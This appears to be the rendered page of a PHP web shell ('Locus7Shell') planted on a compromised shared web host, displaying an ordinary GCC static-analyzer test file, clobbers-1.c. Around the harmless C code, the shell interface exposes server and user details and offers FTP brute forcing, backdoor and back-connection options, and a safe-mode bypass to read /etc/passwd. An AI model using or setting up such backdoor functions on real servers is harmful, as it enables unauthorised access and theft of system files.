Software: Apache. PHP/5.4.45 

uname -a: Linux webm056.cluster010.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue
Sep 17 08:14:20 UTC 2024 x86_64 

uid=243112(mycochar) gid=100(users) groups=100(users)  

Safe-mode: OFF (not secure)

/home/mycochar/www/image/photo/gcc-12.3.0/gcc/testsuite/gcc.dg/analyzer/   drwxr-xr-x
Free 0 B of 0 B (0%)
Your ip: 216.73.216.77 - Server ip: 213.186.33.19
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    

[Enumerate]    [Encoder]    [Tools]    [Proc.]    [FTP Brute]    [Sec.]    [SQL]    [PHP-Code]    [Backdoor Host]    [Back-Connection]    [milw0rm it!]    [PHP-Proxy]    [Self remove]
    


Viewing file:     clobbers-1.c (2.59 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
#include "analyzer-decls.h"

struct foo
{
  int i;
  int j;
};

struct coord
{
  int x;
  int y;
  int z;
};

struct foo g;

void test_1 (void)
{
  g.i = 42;
  if (g.j)
    __analyzer_eval (g.j); /* { dg-warning "TRUE" } */
  else
    __analyzer_eval (g.j); /* { dg-warning "FALSE" } */
  __analyzer_dump_exploded_nodes (0); /* { dg-warning "1 processed enode" } */
}

void test_2 (struct foo f)
{
  f.i = 42;
  if (f.j)
    __analyzer_eval (f.j); /* { dg-warning "TRUE" } */
  else
    __analyzer_eval (f.j); /* { dg-warning "FALSE" } */
  __analyzer_dump_exploded_nodes (0); /* { dg-warning "1 processed enode" } */
}

void test_3 (struct foo *p)
{
  struct foo f = *p;
  f.i = 42;
  if (f.j)
    __analyzer_eval (f.j); /* { dg-warning "TRUE" } */
  else
    __analyzer_eval (f.j); /* { dg-warning "FALSE" } */
  __analyzer_dump_exploded_nodes (0); /* { dg-warning "1 processed enode" } */
}

void test_4 (struct coord *p)
{
  struct coord f = *p;
  f.x = 42;
  __analyzer_eval (f.y == p->y); /* { dg-warning "TRUE" } */
  __analyzer_eval (f.z == p->z); /* { dg-warning "TRUE" } */
}

struct s5
{
  char arr[8];
};

void test_5 (struct s5 *p)
{
  struct s5 f = *p;
  f.arr[3] = 42;
  __analyzer_eval (f.arr[0] == p->arr[0]); /* { dg-warning "TRUE" } */
  __analyzer_eval (f.arr[1] == p->arr[1]); /* { dg-warning "TRUE" } */
  __analyzer_eval (f.arr[2] == p->arr[2]); /* { dg-warning "TRUE" } */
  __analyzer_eval (f.arr[3] == 42); /* { dg-warning "TRUE" } */
  __analyzer_eval (f.arr[4] == p->arr[4]); /* { dg-warning "TRUE" } */
  __analyzer_eval (f.arr[5] == p->arr[5]); /* { dg-warning "TRUE" } */
  __analyzer_eval (f.arr[6] == p->arr[6]); /* { dg-warning "TRUE" } */
  __analyzer_eval (f.arr[7] == p->arr[7]); /* { dg-warning "TRUE" } */
}

struct s6
{
  int before; /* Give "arr" a nonzero offset.  */
  struct foo arr[4];
  int after;
};

void test_6 (struct s6 *p, struct foo *q)
{
  struct s6 f = *p;
  f.arr[1] = *q;
  __analyzer_eval (f.before == p->before); /* { dg-warning "TRUE" } */
  __analyzer_eval (f.arr[0].i == p->arr[0].i); /* { dg-warning "TRUE" } */
  __analyzer_eval (f.arr[0].j == p->arr[0].j); /* { dg-warning "TRUE" } */
  __analyzer_eval (f.arr[1].i == q->i); /* { dg-warning "TRUE" } */
  __analyzer_eval (f.arr[1].j == q->j); /* { dg-warning "TRUE" } */
  __analyzer_eval (f.arr[2].i == p->arr[2].i); /* { dg-warning "TRUE" } */
  __analyzer_eval (f.arr[2].j == p->arr[2].j); /* { dg-warning "TRUE" } */
  __analyzer_eval (f.arr[3].i == p->arr[3].i); /* { dg-warning "TRUE" } */
  __analyzer_eval (f.arr[3].j == p->arr[3].j); /* { dg-warning "TRUE" } */
  __analyzer_eval (f.after == p->after); /* { dg-warning "TRUE" } */
}

Enter:
 
Select:
 

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd
Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

Search
  - regexp 
Upload
 
[ ok ]

Make Dir
 
[ ok ]
Make File
 
[ ok ]

Go Dir
 
Go File
 

--[ x2300 Locus7Shell v. 1.0a beta Modded by #!physx^ | www.LOCUS7S.com | Generation time: 0.0063 ]--